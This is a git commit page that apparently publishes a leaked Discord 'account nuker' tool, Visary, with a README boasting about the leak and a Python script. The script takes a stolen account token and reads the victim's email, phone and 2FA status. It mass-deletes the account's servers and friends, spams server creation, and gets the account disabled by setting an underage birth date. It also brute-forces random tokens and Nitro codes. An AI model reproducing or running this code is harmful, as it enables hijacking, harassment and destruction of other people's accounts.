e
This commit is contained in:
commit
329ac679ad
3 changed files with 303 additions and 0 deletions
33
README.md
Normal file
33
README.md
Normal file
|
@ -0,0 +1,33 @@
|
||||||
|
# Visary
|
||||||
|
|
||||||
|
Visary is a tool made by **rezizt** and leaked by me.
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python visary.py
|
||||||
|
```
|
||||||
|
|
||||||
|
## Rezizt
|
||||||
|
|
||||||
|
banning me from your server will be useless.
|
||||||
|
|
||||||
|
<img src="https://syz.shx.gg/ecmwUX.png"/>
|
||||||
|
|
||||||
|
## Skid
|
||||||
|
|
||||||
|
Visary is a skid of [JAJAJA](https://github.com/azael1337/Jajaja-Account-Nuker)
|
||||||
|
|
||||||
|
Proofs:
|
||||||
|
|
||||||
|
<img src="https://roblox.is-terrible.com/XFt2Z0.png"/>
|
||||||
|
|
||||||
|
## Discord
|
||||||
|
|
||||||
|
! Игнатий🌌#1292
|
3
requirements.txt
Normal file
3
requirements.txt
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
colorama
|
||||||
|
requests
|
||||||
|
pyfiglet
|
267
visary.py
Normal file
267
visary.py
Normal file
|
@ -0,0 +1,267 @@
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from colorama import Fore, init
|
||||||
|
import subprocess, requests, ctypes, os, webbrowser, pyfiglet
|
||||||
|
from pathlib import Path
|
||||||
|
import random, string
|
||||||
|
from requests import Session
|
||||||
|
print(Fore.RED + '\n -- ' + Fore.WHITE + 'Loading...')
|
||||||
|
os.system('cls')
|
||||||
|
|
||||||
|
def badges(token):
|
||||||
|
while True:
|
||||||
|
url = 'https://discord.com/api/v6/hypesquad/online'
|
||||||
|
option = str(input('[1] Hypersquad Bravery\n[2] Hypersquad Brilliance\n[3] Hypersquad Balance\n\n> Select a Discord Badge: '))
|
||||||
|
if option in ('1', 'Hypersquad Bravery', 'House of Bravery', 'Bravery'):
|
||||||
|
house_of_bravery = requests.post(url, json={'house_id': '1'}, headers={'authorization': token})
|
||||||
|
if house_of_bravery.status_code == 204:
|
||||||
|
print('> Status: Success | Type: Hypersquad Bravery\n')
|
||||||
|
else:
|
||||||
|
if house_of_bravery.status_code == 429:
|
||||||
|
rate_limited()
|
||||||
|
else:
|
||||||
|
if house_of_bravery.status_code == 401:
|
||||||
|
invalid_token()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print('%s\n' % house_of_bravery.text)
|
||||||
|
elif option in ('2', 'Hypersquad Brilliance', 'House of Brilliance', 'Brilliance'):
|
||||||
|
house_of_brilliance = requests.post(url, json={'house_id': '2'}, headers={'authorization': token})
|
||||||
|
if house_of_brilliance.status_code == 204:
|
||||||
|
print('> Status: Success | Type: Hypersquad Brilliance\n')
|
||||||
|
else:
|
||||||
|
if house_of_brilliance.status_code == 429:
|
||||||
|
rate_limited()
|
||||||
|
else:
|
||||||
|
if house_of_brilliance.status_code == 401:
|
||||||
|
invalid_token()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print('%s\n' % house_of_brilliance.text)
|
||||||
|
elif option in ('3', 'Hypersquad Balance', 'House of Balance', 'Balance'):
|
||||||
|
house_of_balance = requests.post(url, json={'house_id': '3'}, headers={'authorization': token})
|
||||||
|
if house_of_balance.status_code == 204:
|
||||||
|
print('> Status: Success | Type: Hypersquad Balance\n')
|
||||||
|
else:
|
||||||
|
if house_of_balance.status_code == 429:
|
||||||
|
rate_limited()
|
||||||
|
else:
|
||||||
|
if house_of_balance.status_code == 401:
|
||||||
|
invalid_token()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print('%s\n' % house_of_balance.text)
|
||||||
|
else:
|
||||||
|
print('> Status: Error | Invalid option\n')
|
||||||
|
|
||||||
|
|
||||||
|
def unverify(token):
|
||||||
|
headers = {'Authorization': token}
|
||||||
|
return requests.get('https://discord.com/api/v6/guilds/0/members', headers=headers)
|
||||||
|
|
||||||
|
|
||||||
|
def Nitrogen():
|
||||||
|
init(convert=True)
|
||||||
|
print(('%s how many codes?%s ' % (Fore.CYAN, Fore.WHITE)), end='')
|
||||||
|
amount = int(input())
|
||||||
|
for i in range(amount):
|
||||||
|
code = 'https://discordapp.com/gifts/%s' % ''.join(random.choices((string.ascii_letters + string.digits), k=16))
|
||||||
|
print('Code: %s' % code)
|
||||||
|
with open('codes.txt', 'a') as (f):
|
||||||
|
f.write('%s\n' % code)
|
||||||
|
|
||||||
|
|
||||||
|
def tokenDisable(token):
|
||||||
|
r = requests.patch('https://discordapp.com/api/v6/users/@me', headers={'Authorization': token}, json={'date_of_birth': '2015-7-16'})
|
||||||
|
if r.status_code == 400:
|
||||||
|
print(f"[{Fore.RED}+{Fore.RESET}] Account disabled successfully")
|
||||||
|
input('Press any key to exit...')
|
||||||
|
else:
|
||||||
|
print(f"[{Fore.RED}-{Fore.RESET}] Invalid token")
|
||||||
|
input('Press any key to exit...')
|
||||||
|
|
||||||
|
|
||||||
|
def tokenFuck(token):
|
||||||
|
headers = {'Authorization': token}
|
||||||
|
print(f"[{Fore.RED}+{Fore.RESET}] Nuking...")
|
||||||
|
for guild in guildsIds:
|
||||||
|
requests.delete(f"https://discord.com/api/v6/users/@me/guilds/{guild}", headers=headers)
|
||||||
|
else:
|
||||||
|
for friend in friendsIds:
|
||||||
|
requests.delete(f"https://discord.com/api/v6/users/@me/relationships/{friend}", headers=headers)
|
||||||
|
else:
|
||||||
|
for i in range(50):
|
||||||
|
payload = {'name':f"JAJAJA {i}",
|
||||||
|
'region':'europe', 'icon':None, 'channels':None}
|
||||||
|
requests.post('https://discord.com/api/v6/guilds', headers=headers, json=payload)
|
||||||
|
else:
|
||||||
|
modes = cycle(['light', 'dark'])
|
||||||
|
while True:
|
||||||
|
setting = {'theme':next(modes),
|
||||||
|
'locale':random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])}
|
||||||
|
requests.patch('https://discord.com/api/v6/users/@me/settings', headers=headers, json=setting)
|
||||||
|
|
||||||
|
|
||||||
|
def tokengen():
|
||||||
|
chars = '-abcdefghijklmnopq_rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'
|
||||||
|
ascii_banner = pyfiglet.figlet_format('Token generator')
|
||||||
|
print(ascii_banner)
|
||||||
|
file_path = Path('tokens.txt')
|
||||||
|
ilosc = input('How many tokens to generate: \n')
|
||||||
|
ilosc = int(ilosc)
|
||||||
|
os.system('cls')
|
||||||
|
print('Generating working tokens.....')
|
||||||
|
print('Please wait')
|
||||||
|
working = '[WORK] '
|
||||||
|
err = '[ERROR] '
|
||||||
|
for i in range(ilosc):
|
||||||
|
token1 = ''
|
||||||
|
token2 = ''
|
||||||
|
for c in range(84):
|
||||||
|
token1 += random.choice(chars)
|
||||||
|
else:
|
||||||
|
token2 = 'mfa.'
|
||||||
|
token1 = str(token1)
|
||||||
|
token2 = str(token2)
|
||||||
|
token = token1 + token2
|
||||||
|
headers = {'Authorization': token}
|
||||||
|
src = requests.get('https://discord.com/api/v6/auth/login', headers=headers)
|
||||||
|
try:
|
||||||
|
if src.status_code == 200:
|
||||||
|
workingtoken = working + token
|
||||||
|
print(workingtoken)
|
||||||
|
else:
|
||||||
|
print(f"Invalid Token {token}")
|
||||||
|
except Exception:
|
||||||
|
print("Yeah we can't contact discordapp.com")
|
||||||
|
|
||||||
|
|
||||||
|
def tokencheck(token):
|
||||||
|
headers = {'Authorization':token,
|
||||||
|
'Content-Type':'application/json'}
|
||||||
|
src = requests.get('https://discordapp.com/api/v6/auth/login', headers=headers)
|
||||||
|
try:
|
||||||
|
if src.status_code == 200:
|
||||||
|
print('Token Works!')
|
||||||
|
else:
|
||||||
|
print('Invalid Token.')
|
||||||
|
except Exception:
|
||||||
|
print("Yeah we can't contact discordapp.com")
|
||||||
|
|
||||||
|
|
||||||
|
def tokenInfo(token):
|
||||||
|
headers = {'Authorization':token,
|
||||||
|
'Content-Type':'application/json'}
|
||||||
|
r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
|
||||||
|
if r.status_code == 200:
|
||||||
|
userName = r.json()['username'] + '#' + r.json()['discriminator']
|
||||||
|
userID = r.json()['id']
|
||||||
|
phone = r.json()['phone']
|
||||||
|
email = r.json()['email']
|
||||||
|
mfa = r.json()['mfa_enabled']
|
||||||
|
print(f"\n [{Fore.RED}User ID{Fore.RESET}] {userID}\n [{Fore.RED}User Name{Fore.RESET}] {userName}\n [{Fore.RED}2 Factor{Fore.RESET}] {mfa}\n [{Fore.RED}Email{Fore.RESET}] {email}\n [{Fore.RED}Phone number{Fore.RESET}] {phone if phone else ''}\n [{Fore.RED}Token{Fore.RESET}] {token}\n ")
|
||||||
|
input()
|
||||||
|
|
||||||
|
|
||||||
|
def three():
|
||||||
|
print(getBanner3())
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||||
|
choice = str(input(' : '))
|
||||||
|
if choice == '1':
|
||||||
|
os.system('cls')
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||||
|
token = input(' : ')
|
||||||
|
unverify(token)
|
||||||
|
else:
|
||||||
|
if choice == '2':
|
||||||
|
os.system('cls')
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||||
|
token = input(' : ')
|
||||||
|
badges(token)
|
||||||
|
|
||||||
|
|
||||||
|
def two():
|
||||||
|
print(getBanner2())
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||||
|
choice = str(input(' : '))
|
||||||
|
if choice == '1':
|
||||||
|
os.system('cls')
|
||||||
|
print('Error not finnished')
|
||||||
|
else:
|
||||||
|
if choice == '2':
|
||||||
|
os.system('cls')
|
||||||
|
Nitrogen()
|
||||||
|
|
||||||
|
|
||||||
|
def one():
|
||||||
|
print(getBanner1())
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||||
|
choice = str(input(' : '))
|
||||||
|
if choice == '1':
|
||||||
|
os.system('cls')
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||||
|
token = input(' : ')
|
||||||
|
tokencheck(token)
|
||||||
|
else:
|
||||||
|
if choice == '2':
|
||||||
|
os.system('cls')
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||||
|
token = input(' : ')
|
||||||
|
tokenInfo(token)
|
||||||
|
else:
|
||||||
|
if choice == '3':
|
||||||
|
os.system('cls')
|
||||||
|
tokengen()
|
||||||
|
else:
|
||||||
|
if choice == '4':
|
||||||
|
os.system('cls')
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||||
|
token = input(' : ')
|
||||||
|
tokenFuck(token)
|
||||||
|
else:
|
||||||
|
if choice == '5':
|
||||||
|
os.system('cls')
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
|
||||||
|
token = input(' : ')
|
||||||
|
tokenDisable(token)
|
||||||
|
|
||||||
|
|
||||||
|
def getBanner3():
|
||||||
|
banner3 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Misc commands\n [{Fore.RED}1[+]{Fore.RESET}] Unverify email\n [{Fore.RED}2[+]{Fore.RESET}] change hypesquad\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||||
|
return banner3
|
||||||
|
|
||||||
|
|
||||||
|
def getBanner2():
|
||||||
|
banner2 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Nitro commands\n \n [{Fore.RED}1[+]{Fore.RESET}] Nitro checker(not done)\n [{Fore.RED}2[+]{Fore.RESET}] Nitro Generator\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||||
|
return banner2
|
||||||
|
|
||||||
|
|
||||||
|
def getBanner1():
|
||||||
|
banner1 = f"\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝\n Token commands\n [{Fore.RED}1[+]{Fore.RESET}] Token checker\n [{Fore.RED}2[+]{Fore.RESET}] Token info\n [{Fore.RED}3[+]{Fore.RESET}] Token Generator\n [{Fore.RED}4[+]{Fore.RESET}] Token Nuker\n [{Fore.RED}5[+]{Fore.RESET}] Token Terminator\n\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||||
|
return banner1
|
||||||
|
|
||||||
|
|
||||||
|
def getBanner():
|
||||||
|
banner = f"\n\n\n Made by REZIZT. \n Discord : https://discord.gg/6GYVCq9\n\n ██╗ ██╗██╗███████╗ █████╗ ██████╗ ██╗ ██╗\n ██║ ██║██║██╔════╝██╔══██╗██╔══██╗╚██╗ ██╔╝\n ██║ ██║██║███████╗███████║██████╔╝ ╚████╔╝ \n ╚██╗ ██╔╝██║╚════██║██╔══██║██╔══██╗ ╚██╔╝ \n ╚████╔╝ ██║███████║██║ ██║██║ ██║ ██║ \n ╚═══╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ \n\n [{Fore.RED}1[+]{Fore.RESET}] Token commands\n [{Fore.RED}2[+]{Fore.RESET}] Nitro commands\n [{Fore.RED}3[+]{Fore.RESET}] Misc commands\n\n\n ".replace('░', f"{Fore.RED}░{Fore.RESET}")
|
||||||
|
return banner
|
||||||
|
|
||||||
|
|
||||||
|
def startMenu():
|
||||||
|
print(getBanner())
|
||||||
|
print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
|
||||||
|
choice = str(input(' : '))
|
||||||
|
if choice == '1':
|
||||||
|
os.system('cls')
|
||||||
|
one()
|
||||||
|
else:
|
||||||
|
if choice == '2':
|
||||||
|
os.system('cls')
|
||||||
|
two()
|
||||||
|
else:
|
||||||
|
if choice == '3':
|
||||||
|
os.system('cls')
|
||||||
|
three()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
startMenu()
|
Loading…
Reference in a new issue